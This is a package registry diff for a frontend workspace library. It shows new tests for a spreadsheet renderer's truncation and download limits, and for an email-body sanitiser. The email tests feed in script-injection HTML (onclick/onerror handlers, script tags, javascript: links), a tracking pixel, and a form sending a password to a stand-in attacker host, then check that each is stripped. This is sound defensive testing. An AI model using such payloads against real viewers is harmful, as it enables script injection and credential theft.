@bevel-software/platform-core-frontend 0.11.2 → 0.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (44) hide show
  1. package/THIRD-PARTY-NOTICES.md +670 -395
  2. package/package.json +6 -2
  3. package/src/lib/__tests__/api.test.ts +95 -0
  4. package/src/lib/api.ts +30 -2
  5. package/src/lib/clipboard.ts +25 -0
  6. package/src/modules/access/__tests__/useFileAccess.test.tsx +47 -0
  7. package/src/modules/access/hooks/useFileAccess.ts +23 -5
  8. package/src/modules/library/utils/clipboard.ts +4 -20
  9. package/src/modules/workspace/components/FileExplorer.tsx +6 -14
  10. package/src/modules/workspace/components/FileViewer.tsx +17 -4
  11. package/src/modules/workspace/components/KbPageHeader.tsx +1 -1
  12. package/src/modules/workspace/components/__tests__/FileExplorer.test.tsx +3 -1
  13. package/src/modules/workspace/components/__tests__/FileViewer.test.tsx +17 -0
  14. package/src/modules/workspace/components/__tests__/KbPageHeader.test.tsx +15 -0
  15. package/src/modules/workspace/components/renderers/DocxRenderer.tsx +11 -2
  16. package/src/modules/workspace/components/renderers/DownloadFileButton.tsx +88 -0
  17. package/src/modules/workspace/components/renderers/EmailRenderer.tsx +309 -0
  18. package/src/modules/workspace/components/renderers/LegacyOfficeRenderer.tsx +60 -0
  19. package/src/modules/workspace/components/renderers/PdfRenderer.tsx +261 -33
  20. package/src/modules/workspace/components/renderers/PptxRenderer.tsx +184 -0
  21. package/src/modules/workspace/components/renderers/XlsxRenderer.tsx +195 -45
  22. package/src/modules/workspace/components/renderers/__tests__/DownloadFileButton.test.tsx +48 -0
  23. package/src/modules/workspace/components/renderers/__tests__/EmailRenderer.test.tsx +176 -0
  24. package/src/modules/workspace/components/renderers/__tests__/PdfRenderer.test.tsx +214 -76
  25. package/src/modules/workspace/components/renderers/__tests__/PptxRenderer.test.tsx +125 -0
  26. package/src/modules/workspace/components/renderers/__tests__/XlsxRenderer.test.tsx +245 -0
  27. package/src/modules/workspace/components/renderers/__tests__/emailBody.test.ts +117 -0
  28. package/src/modules/workspace/components/renderers/__tests__/emailMessage.test.ts +404 -0
  29. package/src/modules/workspace/components/renderers/__tests__/pptxOutline.test.ts +448 -0
  30. package/src/modules/workspace/components/renderers/__tests__/readBodyCapped.test.ts +117 -0
  31. package/src/modules/workspace/components/renderers/__tests__/rendererLayout.test.ts +73 -7
  32. package/src/modules/workspace/components/renderers/__tests__/rendererSelection.test.tsx +107 -0
  33. package/src/modules/workspace/components/renderers/downloadFile.ts +33 -0
  34. package/src/modules/workspace/components/renderers/emailBody.ts +168 -0
  35. package/src/modules/workspace/components/renderers/emailMessage.ts +223 -0
  36. package/src/modules/workspace/components/renderers/emlMessage.ts +91 -0
  37. package/src/modules/workspace/components/renderers/htmlSandbox.ts +9 -2
  38. package/src/modules/workspace/components/renderers/index.ts +82 -6
  39. package/src/modules/workspace/components/renderers/lazyRenderer.tsx +9 -2
  40. package/src/modules/workspace/components/renderers/msgMessage.ts +219 -0
  41. package/src/modules/workspace/components/renderers/pptxOutline.ts +317 -0
  42. package/src/modules/workspace/components/renderers/readBodyCapped.ts +97 -0
  43. package/src/modules/workspace/components/renderers/xmlReading.ts +0 -0
  44. package/src/url-suffix-imports.d.ts +12 -0
@@ -0,0 +1,245 @@
1
+ import { describe, it, expect, vi, beforeEach } from 'vitest';
2
+ import { render, screen } from '@testing-library/react';
3
+ import JSZip from 'jszip';
4
+ import * as XLSX from 'xlsx';
5
+ import {
6
+ WorkspaceContext,
7
+ type WorkspaceContextValue,
8
+ } from '../../../state/workspace.context';
9
+
10
+ const apiMock = vi.hoisted(() => ({ authFetch: vi.fn() }));
11
+ vi.mock('../../../../../lib/api', () => ({ authFetch: apiMock.authFetch }));
12
+
13
+ import { XlsxRenderer } from '../XlsxRenderer';
14
+
15
+ /**
16
+ * The truncation contract. The grid caps what it CONVERTS (1,000 rows / 100
17
+ * columns — a bounded `range` handed to `sheet_to_json`, never a full
18
+ * materialization of the declared range) so a million-row export, or a
19
+ * sparse sheet whose `!ref` declares one, cannot lock the tab — and the cap
20
+ * must never be silent: the note under the grid states the REAL dimensions,
21
+ * taken from the declared `!ref` itself.
22
+ */
23
+
24
+ function workbookBytes(rows: unknown[][], sheetName = 'Data'): ArrayBuffer {
25
+ const wb = XLSX.utils.book_new();
26
+ XLSX.utils.book_append_sheet(wb, XLSX.utils.aoa_to_sheet(rows), sheetName);
27
+ return XLSX.write(wb, { type: 'array', bookType: 'xlsx' }) as ArrayBuffer;
28
+ }
29
+
30
+ function renderXlsx() {
31
+ return render(
32
+ <WorkspaceContext.Provider
33
+ value={{ workspaceId: 'ws-1' } as unknown as WorkspaceContextValue}
34
+ >
35
+ <XlsxRenderer filePath="Data/book.xlsx" content="" onSave={async () => {}} />
36
+ </WorkspaceContext.Provider>,
37
+ );
38
+ }
39
+
40
+ beforeEach(() => {
41
+ apiMock.authFetch.mockReset();
42
+ });
43
+
44
+ describe('XlsxRenderer truncation', () => {
45
+ it('caps a long sheet at 1,000 rows and says exactly what was cut', async () => {
46
+ const rows: unknown[][] = [['id', 'name']];
47
+ for (let i = 1; i <= 1004; i++) rows.push([`r${i}`, `value ${i}`]);
48
+ apiMock.authFetch.mockResolvedValue({
49
+ ok: true,
50
+ arrayBuffer: async () => workbookBytes(rows),
51
+ });
52
+
53
+ renderXlsx();
54
+
55
+ const note = await screen.findByRole('note');
56
+ // Locale-tolerant: toLocaleString may group with ',' or '.'.
57
+ expect(note.textContent).toMatch(/first 1[,.]?000 of 1[,.]?005 rows/);
58
+ expect(note.textContent).toMatch(/Download the file/);
59
+ // The 999th data row is the last one on screen (1 header + 999 = 1,000)…
60
+ expect(screen.getByText('r999')).toBeInTheDocument();
61
+ // …and the 1,000th is not.
62
+ expect(screen.queryByText('r1000')).not.toBeInTheDocument();
63
+ });
64
+
65
+ it('caps runaway columns too, and reports the real column count', async () => {
66
+ const wide = Array.from({ length: 120 }, (_, i) => `c${i + 1}`);
67
+ apiMock.authFetch.mockResolvedValue({
68
+ ok: true,
69
+ arrayBuffer: async () => workbookBytes([wide, wide]),
70
+ });
71
+
72
+ renderXlsx();
73
+
74
+ const note = await screen.findByRole('note');
75
+ expect(note.textContent).toMatch(/first 100 of 120 columns/);
76
+ expect(screen.queryByText('c101')).not.toBeInTheDocument();
77
+ });
78
+
79
+ it('shows no truncation note on a sheet that fits', async () => {
80
+ apiMock.authFetch.mockResolvedValue({
81
+ ok: true,
82
+ arrayBuffer: async () =>
83
+ workbookBytes([
84
+ ['id', 'name'],
85
+ ['1', 'small'],
86
+ ]),
87
+ });
88
+
89
+ renderXlsx();
90
+
91
+ expect(await screen.findByText('small')).toBeInTheDocument();
92
+ expect(screen.queryByRole('note')).not.toBeInTheDocument();
93
+ });
94
+
95
+ it('caps a SPARSE sheet by its declared !ref BEFORE conversion — one far-corner cell cannot freeze the tab', async () => {
96
+ // A hand-built xlsx whose worksheet DECLARES a million rows
97
+ // (`<dimension ref="A1:B1048576"/>`) but holds a single real cell. The
98
+ // old code materialized the whole declared range through sheet_to_json
99
+ // before slicing; this fixture would have hung the test.
100
+ const zip = new JSZip();
101
+ zip.file(
102
+ '[Content_Types].xml',
103
+ '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' +
104
+ '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' +
105
+ '<Default Extension="xml" ContentType="application/xml"/>' +
106
+ '<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' +
107
+ '<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
108
+ );
109
+ zip.file(
110
+ '_rels/.rels',
111
+ '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' +
112
+ '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
113
+ );
114
+ zip.file(
115
+ 'xl/workbook.xml',
116
+ '<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" ' +
117
+ 'xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' +
118
+ '<sheets><sheet name="Sparse" sheetId="1" r:id="rId1"/></sheets></workbook>',
119
+ );
120
+ zip.file(
121
+ 'xl/_rels/workbook.xml.rels',
122
+ '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' +
123
+ '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
124
+ );
125
+ zip.file(
126
+ 'xl/worksheets/sheet1.xml',
127
+ '<?xml version="1.0"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' +
128
+ '<dimension ref="A1:B1048576"/>' +
129
+ '<sheetData><row r="1"><c r="A1" t="inlineStr"><is><t>lonely cell</t></is></c></row></sheetData></worksheet>',
130
+ );
131
+ const bytes = await zip.generateAsync({ type: 'arraybuffer' });
132
+ apiMock.authFetch.mockResolvedValue({ ok: true, arrayBuffer: async () => bytes });
133
+
134
+ renderXlsx();
135
+
136
+ expect(await screen.findByText('lonely cell')).toBeInTheDocument();
137
+ const note = screen.getByRole('note');
138
+ // The REAL declared total, straight from the original !ref.
139
+ expect(note.textContent).toMatch(/first 1[,.]?000 of 1[,.]?048[,.]?576 rows/);
140
+ });
141
+
142
+ it('says the file could not be parsed as a spreadsheet when SheetJS rejects it', async () => {
143
+ // A zip signature followed by garbage: SheetJS commits to the xlsx
144
+ // container and fails. (Plain text would be sniffed as CSV and "work".)
145
+ const junk = new Uint8Array([0x50, 0x4b, 0x03, 0x04, 9, 9, 9, 9, 9]).buffer;
146
+ apiMock.authFetch.mockResolvedValue({ ok: true, arrayBuffer: async () => junk });
147
+ // Held and restored: leaking a silenced console.warn into later tests
148
+ // would swallow their real warnings.
149
+ const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
150
+
151
+ try {
152
+ renderXlsx();
153
+
154
+ expect(
155
+ await screen.findByText('This file could not be parsed as a spreadsheet.'),
156
+ ).toBeInTheDocument();
157
+ expect(screen.getByRole('button', { name: /Download/ })).toBeInTheDocument();
158
+ } finally {
159
+ warnSpy.mockRestore();
160
+ }
161
+ });
162
+
163
+ it('abandons an UNDECLARED oversized body at the byte cap instead of buffering it whole', async () => {
164
+ // No Content-Length, a body that streams past 25 MB: the capped reader
165
+ // must cancel mid-stream — buffering first (arrayBuffer) would allocate
166
+ // the entire oversized workbook in the tab before the check rejects it.
167
+ const chunk = new Uint8Array(1024 * 1024); // 1 MB per read
168
+ let bodyCancelled = false;
169
+ apiMock.authFetch.mockResolvedValue({
170
+ ok: true,
171
+ body: {
172
+ getReader: () => ({
173
+ read: async () =>
174
+ bodyCancelled ? { done: true, value: undefined } : { done: false, value: chunk },
175
+ cancel: async () => {
176
+ bodyCancelled = true;
177
+ },
178
+ }),
179
+ },
180
+ arrayBuffer: async () => {
181
+ throw new Error('must not buffer the whole body');
182
+ },
183
+ });
184
+
185
+ renderXlsx();
186
+
187
+ expect(await screen.findByText(/too large to preview/)).toBeInTheDocument();
188
+ expect(bodyCancelled).toBe(true);
189
+ });
190
+
191
+ it('rejects an over-cap declared Content-Length and ABORTS the transfer', async () => {
192
+ // The header check is only an early exit if it also ENDS the download:
193
+ // returning alone left the browser receiving the whole oversized workbook
194
+ // behind the rejection.
195
+ let signal: AbortSignal | undefined;
196
+ apiMock.authFetch.mockImplementation(async (_url: string, init?: { signal?: AbortSignal }) => {
197
+ signal = init?.signal;
198
+ return {
199
+ ok: true,
200
+ headers: {
201
+ get: (name: string) =>
202
+ name === 'content-length' ? String(26 * 1024 * 1024) : null,
203
+ },
204
+ arrayBuffer: async () => {
205
+ throw new Error('must not buffer a declared-oversized body');
206
+ },
207
+ };
208
+ });
209
+
210
+ renderXlsx();
211
+
212
+ expect(await screen.findByText(/too large to preview/)).toBeInTheDocument();
213
+ expect(signal?.aborted).toBe(true);
214
+ });
215
+
216
+ it('aborts an in-flight workbook fetch when the viewer goes away', async () => {
217
+ // Switching files or closing the pane must end the transfer, not just
218
+ // suppress the render — a 24 MB workbook nobody is waiting for kept
219
+ // downloading for as long as the request lived.
220
+ let signal: AbortSignal | undefined;
221
+ apiMock.authFetch.mockImplementation(
222
+ (_url: string, init?: { signal?: AbortSignal }) =>
223
+ new Promise(() => {
224
+ signal = init?.signal;
225
+ }),
226
+ );
227
+
228
+ const { unmount } = renderXlsx();
229
+ unmount();
230
+
231
+ expect(signal?.aborted).toBe(true);
232
+ });
233
+
234
+ it('offers Download beside the grid', async () => {
235
+ apiMock.authFetch.mockResolvedValue({
236
+ ok: true,
237
+ arrayBuffer: async () => workbookBytes([['only cell']]),
238
+ });
239
+
240
+ renderXlsx();
241
+
242
+ expect(await screen.findByText('only cell')).toBeInTheDocument();
243
+ expect(screen.getByRole('button', { name: /Download/ })).toBeInTheDocument();
244
+ });
245
+ });
@@ -0,0 +1,117 @@
1
+ import { describe, it, expect } from 'vitest';
2
+ import { buildEmailBody } from '../emailBody';
3
+ import type { EmailAttachmentView } from '../emailMessage';
4
+
5
+ /**
6
+ * What a rendered message may and may not do. These are the security
7
+ * properties of the viewer, so they are asserted on the DOCUMENT that goes
8
+ * into the frame — the thing a browser would actually execute.
9
+ */
10
+ describe('a rendered email body', () => {
11
+ const inlineLogo: EmailAttachmentView = {
12
+ name: 'logo.png',
13
+ mimeType: 'image/png',
14
+ sizeBytes: 3,
15
+ contentId: 'logo@sender',
16
+ bytes: new Uint8Array([1, 2, 3]),
17
+ };
18
+
19
+ it('renders an image the sender EMBEDDED, without any network', () => {
20
+ const { srcDoc, blockedRemoteImages } = buildEmailBody(
21
+ '<p>Hi</p><img src="cid:logo@sender">',
22
+ [inlineLogo],
23
+ );
24
+ expect(srcDoc).toContain('data:image/png;base64,');
25
+ expect(blockedRemoteImages).toBe(0);
26
+ });
27
+
28
+ it('drops a REMOTE image — a tracking pixel cannot report that the mail was opened', () => {
29
+ const { srcDoc, blockedRemoteImages } = buildEmailBody(
30
+ '<p>Hi</p><img src="https://tracker.example/pixel.gif?id=42" width="1" height="1">',
31
+ [],
32
+ );
33
+ expect(srcDoc).not.toContain('tracker.example');
34
+ expect(blockedRemoteImages).toBe(1);
35
+ });
36
+
37
+ it('drops a cid: image whose bytes were not retained, rather than fetching anything', () => {
38
+ const { srcDoc, blockedRemoteImages, unavailableInlineImages } = buildEmailBody(
39
+ '<img src="cid:missing@x">',
40
+ [],
41
+ );
42
+ expect(srcDoc).not.toContain('cid:');
43
+ // Not "blocked": nothing was withheld to protect the reader — the part is
44
+ // simply not in the file, and the notice says so in different words.
45
+ expect(blockedRemoteImages).toBe(0);
46
+ expect(unavailableInlineImages).toBe(1);
47
+ });
48
+
49
+ it('carries no script, however the sender spelled it', () => {
50
+ const { srcDoc } = buildEmailBody(
51
+ `<p onclick="steal()">Hi</p><script>steal()</script><img src=x onerror="steal()">`,
52
+ [],
53
+ );
54
+ expect(srcDoc).not.toContain('steal()');
55
+ expect(srcDoc).not.toContain('onerror');
56
+ expect(srcDoc).not.toContain('onclick');
57
+ });
58
+
59
+ it('states a policy that forbids every outbound request', () => {
60
+ const { srcDoc } = buildEmailBody('<p>Hi</p>', []);
61
+ expect(srcDoc).toContain("default-src 'none'");
62
+ expect(srcDoc).toContain('img-src data:');
63
+ expect(srcDoc).toContain("connect-src 'none'");
64
+ expect(srcDoc).toContain("form-action 'none'");
65
+ });
66
+
67
+ it('makes links INERT and reports them for the parent to show', () => {
68
+ const { srcDoc, links } = buildEmailBody(
69
+ '<p>See <a href="https://example.com/deal?id=7">this offer</a> today</p>',
70
+ [],
71
+ );
72
+ // The address never appears in the frame, and no anchor can be followed.
73
+ expect(srcDoc).not.toContain('example.com');
74
+ expect(srcDoc).not.toContain('<script');
75
+ expect(srcDoc).toContain('[1]');
76
+ expect(links).toEqual([{ index: 1, text: 'this offer', url: 'https://example.com/deal?id=7' }]);
77
+ });
78
+
79
+ it('does not present a javascript: or data: link as a link at all', () => {
80
+ const { srcDoc, links } = buildEmailBody(
81
+ `<a href="javascript:steal()">click</a><a href="data:text/html,<script>x</script>">or here</a>`,
82
+ [],
83
+ );
84
+ expect(links).toEqual([]);
85
+ expect(srcDoc).not.toContain('javascript:');
86
+ });
87
+
88
+ it('drops a form, so no message can post anywhere', () => {
89
+ const { srcDoc } = buildEmailBody(
90
+ '<form action="https://evil.example/steal"><input name="password"></form>',
91
+ [],
92
+ );
93
+ expect(srcDoc).not.toContain('evil.example');
94
+ expect(srcDoc).not.toContain('<input');
95
+ });
96
+ });
97
+
98
+ describe('what the rendering keeps and what it admits to dropping', () => {
99
+ it('keeps CSS the sender put in <head>, where mail routinely puts it', () => {
100
+ const { srcDoc } = buildEmailBody(
101
+ '<html><head><style>.brand{color:#0a7}</style></head><body><p class="brand">Hi</p></body></html>',
102
+ [],
103
+ );
104
+ expect(srcDoc).toContain('.brand');
105
+ });
106
+
107
+ it('counts an embedded image it could not draw APART from a remote one', () => {
108
+ const { blockedRemoteImages, unavailableInlineImages } = buildEmailBody(
109
+ '<img src="cid:missing@x"><img src="https://tracker.example/p.gif">',
110
+ [],
111
+ );
112
+ // Different sentences: one was withheld to protect the reader, the other
113
+ // simply is not in the file.
114
+ expect(unavailableInlineImages).toBe(1);
115
+ expect(blockedRemoteImages).toBe(1);
116
+ });
117
+ });